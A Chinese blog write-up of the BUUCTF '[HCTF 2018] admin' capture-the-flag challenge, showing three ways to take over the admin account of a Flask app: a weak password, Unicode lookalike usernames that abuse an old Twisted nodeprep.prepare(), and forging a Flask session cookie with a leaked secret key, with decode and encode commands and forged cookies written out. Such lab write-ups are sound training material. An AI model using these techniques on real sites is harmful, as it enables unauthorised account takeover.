BUUCTF:[HCTF 2018]admin

奋斗吧
奋斗吧
擅长邻域:未填写

标签: BUUCTF:[HCTF 2018]admin HarmonyOS博客 51CTO博客

2023-06-19 18:24:24 202浏览

BUUCTF:[HCTF 2018]admin,题目地址:https://buuoj.cn/challenges#[HCTF%202018]admin第一种解法:弱密码根据提示


题目地址:https://buuoj.cn/challenges#[HCTF%202018]admin

BUUCTF:[HCTF 2018]admin_3c

第一种解法:弱密码

BUUCTF:[HCTF 2018]admin_3c_02


根据提示,尝试弱密码登录admin用户,当admin的密码为123时,登陆成功

BUUCTF:[HCTF 2018]admin_d3_03

第二种解法:Unicode欺骗

随便注册个用户mochu7,在Change Password

BUUCTF:[HCTF 2018]admin_3c_04


给出来题目源码,/hctf_flask/app/rotus.py

BUUCTF:[HCTF 2018]admin_3d_05


BUUCTF:[HCTF 2018]admin_d3_06

registerlogin对用户名使用了自定义函数strlower()

BUUCTF:[HCTF 2018]admin_d3_07


nodeprep.prepare()来自

from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep

requirements.txt中可以看到Twisted的版本

BUUCTF:[HCTF 2018]admin_3d_08


Twisted版本为10.2.0,而目前(2020/10/28)Twisted最新版本已有20.3.0,这里使用的版本非常旧

10.2.0版的nodeprep.prepare()对一些特殊的Unicode编码处理后会得到一个正常的字符

使用以下网站寻找admin账户的特殊Unicode编码

https://unicode-table.com/en/search/?q=Modifier+Letter+Capital

ᴬᴰᴹᴵᴺ

Unicode编码后

\u1d2c\u1d30\u1d39\u1d35\u1d3a

两次nodeprep.prepare()处理后得到admin字符

BUUCTF:[HCTF 2018]admin_d3_09


即可注册一个账户ᴬᴰᴹᴵᴺ,注册时nodeprep.prepare()处理一遍得到ADMIN,然后修改密码时nodeprep.prepare()会进行第二次处理,得到admin即可修改admin账户密码

第三种解法:Flask session 伪造

众所周知,flasksession是存放在客户端的cookie当中的,并且没有加密操作,仅仅只是做了签名防止篡改

BUUCTF:[HCTF 2018]admin_d3_10


Flask-Session加解密脚本:https://github.com/noraj/flask-session-cookie-manager

用户mochu7session

{'_fresh': True, '_id': b'cbf743351a54bf3ded8ca2343c8479d60da235568a066582dc7814a5864c10618d87e3a13f7d37e6464470248ebd3233603c6d5e3597d2cf2c04b073d4518c53', 'csrf_token': b'7584ce1b2f1bd3155835e20862bc752607b31c7b', 'image': b'LqRX', 'name': 'mochu7', 'user_id': '10'}
PS D:\Tools\Web\flask-session-cookie-manager> python .\flask_session_cookie_manager3.py decode -s 'ckj123' -c '.eJw9kMGKwkAQRH9l6bOHZOKyEPAQGM0a6A66o2HmIm6MTjqJQlQ0I_77Di54rup61fWAzb6vzhbiS3-tRrCpdxA_4OMXYtAi68gtHLrVXatVoDvtTLpu8pQsMgYocEyy_DRS30w6HbwvJLYWpRakDoNJMcrlNPC3Y-Ilo0oEKtvkcteimN5R6MhIjIzSAfEiIJcMJG2rO89kdMSJ88SGipUj1XhvxoYzRrmsUZbOyEXo85gUTuA5gvLc7zeXU1Md3y-Q8-iUWizmg-FZ7XF38nXQrVvkxNfKau3KEFnfSMwdFhjpw-QVV3fbQ_VOUt-znyL5V47bzgvQnUp7_YIRXM9V_xoOwgCef1nZbOI.X5k9pg.ErECKkJ7jz7qU_-NGQSWFDgTq98'
{'_fresh': True, '_id': b'cbf743351a54bf3ded8ca2343c8479d60da235568a066582dc7814a5864c10618d87e3a13f7d37e6464470248ebd3233603c6d5e3597d2cf2c04b073d4518c53', 'csrf_token': b'7584ce1b2f1bd3155835e20862bc752607b31c7b', 'image': b'LqRX', 'name': 'mochu7', 'user_id': '10'}

伪造session还需要知道secret key,全局搜索源码文件夹即可找到

BUUCTF:[HCTF 2018]admin_3c_11


secret keyckj123

修改nameadmin

{'_fresh': True, '_id': b'cbf743351a54bf3ded8ca2343c8479d60da235568a066582dc7814a5864c10618d87e3a13f7d37e6464470248ebd3233603c6d5e3597d2cf2c04b073d4518c53', 'csrf_token': b'7584ce1b2f1bd3155835e20862bc752607b31c7b', 'image': b'LqRX', 'name': 'admin', 'user_id': '10'}

进行加密得到adminsession

PS D:\Tools\Web\flask-session-cookie-manager> python .\flask_session_cookie_manager3.py encode -s 'ckj123' -t "{'_fresh': True, '_id': b'cbf743351a54bf3ded8ca2343c8479d60da235568a066582dc7814a5864c10618d87e3a13f7d37e6464470248ebd3233603c6d5e3597d2cf2c04b073d4518c53', 'csrf_token': b'7584ce1b2f1bd3155835e20862bc752607b31c7b', 'image': b'LqRX', 'name': 'admin', 'user_id': '10'}"
.eJw9kMGKwkAQRH9l6bOHZOJeBA-B0ayBbtEdDTOX4MZo0klciIqmxX_fwQXPVV2vuh6QH_ryXMHk0l_LEeT1HiYP-PiBCViVdiQrQdncrdkEtrPikm2zTKhCxgAVjkkXn07bm0tmg_eFxFWF2ioyx8ElGC31LPC3Y-I1o4kVmqpZ6n2LanZHZSOnMXLGBsSrgCQeSFet7TyTUYhj8cSGso2Qabw3Zccpo17XqAtxehX6PCaDU3iOoDj3h_zy25Sn9wskHp1Qi9licDyvPe5Ovg7KtkWOfa20tlKEyPZGaiGYYWSP01dc3e2O5TvJfM2_s_hfOe06L8Bu39UnGMH1XPav3SAM4PkH7IhsmA.X5k-3w.1NeZXj_XVt-fu-MQxsTtdPuBZws

BUUCTF:[HCTF 2018]admin_3c_12


好博客就要一起分享哦!分享海报

此处可发布评论

评论(0展开评论

暂无评论,快来写一下吧

展开评论

您可能感兴趣的博客

客服QQ 1913284695